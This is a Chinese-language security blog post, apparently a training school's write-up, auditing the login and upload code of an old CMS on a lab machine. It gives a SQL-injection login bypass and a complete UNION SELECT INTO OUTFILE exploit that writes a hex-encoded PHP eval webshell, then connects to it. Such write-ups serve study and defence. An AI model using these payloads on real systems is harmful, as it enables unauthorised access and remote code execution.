万众CMS从SQL注入到getshell

admin 2023年7月18日12:16:27评论89 views字数 1532阅读5分6秒阅读模式

本文由掌控安全学院-君叹投稿

前言:老早以前的CMS了,随便看看,源码在附件里,一个挺简单的CMS,算是灰盒测试,CMS在另一台windows上搭建,代码在本地审计


1 后台sql注入 逻辑绕过登录管理员账户

exp: admin’ or ‘1’=’1

密码任意万众CMS从SQL注入到getshell

2 代码审计

查看 /amdin/index.php
这里会加入传参 action=login
也就是 url 会变成
/admin/index.php?action=login万众CMS从SQL注入到getshell

查看本页面并无关于login的代码
查看开头
包含了当前路径下的 /includes/global.fun.php

万众CMS从SQL注入到getshell

追踪过去,查看一下内容
这里有个 switch 语句
也就是当 action的值为login的时候
触发函数 function_login()

万众CMS从SQL注入到getshell

追踪函数 function_login()

万众CMS从SQL注入到getshell

我们可以看到这里是否能登录成功的标准为这条sql语句的返回值是否为True
这里使用了单引号闭合


  1. select * from magacms_user where username='$username' and password='$password' limit 1

结合上我们构造的payload
admin’ or ‘1’=’1
最后的sql语句就是


  1. select * from magacms_user where username='admin' or '1'='1' and password='md5(1)' limit 1

返回值为True
可以成功登录后台


3 文件上传部分审计

这里有一个上传提交的功能万众CMS从SQL注入到getshell

尝试文件上传
可以看到我们这里文件被提交到了 upload.inc.php 文件万众CMS从SQL注入到getshell

查看upload.inc.php文件代码
我们发现这里会对上传文件的 Content-Type 类型进行检测
并且会将文件后缀名更改为 Content-Type 类型所对应的后缀名

万众CMS从SQL注入到getshell

但是我们看到开头
用于判断是否上传了文件的代码
是检测get传参中
action == upfile

万众CMS从SQL注入到getshell

那么如果我们传入 ?action=upfile
但是不进行文件上传
代码就会报错
如果目标服务器没有屏蔽报错的话
我们就可以得到路径
利用SQL注入写入木马


4 SQL注入

找到刚刚的万能密码登录点
尝试猜解字段数
构造payload: admin’ order by 1 #

万众CMS从SQL注入到getshell

报错了,但是成功登录万众CMS从SQL注入到getshell

万众CMS从SQL注入到getshell

payload: admin’ order by 10 #
依然报错,但是登录失败
多次测试之后得到字段数为 5


5 写入木马

得到路径
C:/phpStudy/WWW/万众CMS从SQL注入到getshell

构造exp
先将一句话木马HEX编码万众CMS从SQL注入到getshell

exp: admin’ union select 1,2,3,4,0x3c3f706870206576616c28245f524551554553545b27636d64275d293b3f3e into outfile ‘C:/phpStudy/WWW/2.php ‘ — qwe

万众CMS从SQL注入到getshell

页面提示用户名密码错误

万众CMS从SQL注入到getshell

访问 2.php
木马成功生成万众CMS从SQL注入到getshell

用蚁剑连接
成功getshell

万众CMS从SQL注入到getshell


如果普通目录没有写入权限,可以尝试一下写入到文件上传的路径

查看一下我们刚才上传的 jpg 文件

万众CMS从SQL注入到getshell

拖动图片,到上方标签栏空白处

万众CMS从SQL注入到getshell

这里就是上传文件的路径

万众CMS从SQL注入到getshell


总结

像这种代码根本没办法在密码处注入,因为密码会先被 md5() 函数处理
完了之后只能是一串字符串了,只能是在用户名处进行注入,再通过代码逻辑进行绕过从而登录后台,其实者应该叫万能用户登录吧?但是登录到的是admin用户,问题不大,反正是进去了,然后如果有权限限制,可以试试能不能写入到文件上传对应的那个路径,因为在WEB上已经把上传的文件类型限死了,这个CMS的文件上传我觉得只能结合文件包含漏洞来用,不太能直接传一个php吧,因为他改后缀啊…如果有大佬能绕也请评论区告知,带带弟弟吧,呜呜。

原文始发于微信公众号(掌控安全EDU):万众CMS从SQL注入到getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月18日12:16:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   万众CMS从SQL注入到getshellhttps://cn-sec.com/archives/1886380.html

发表评论

匿名网友 填写信息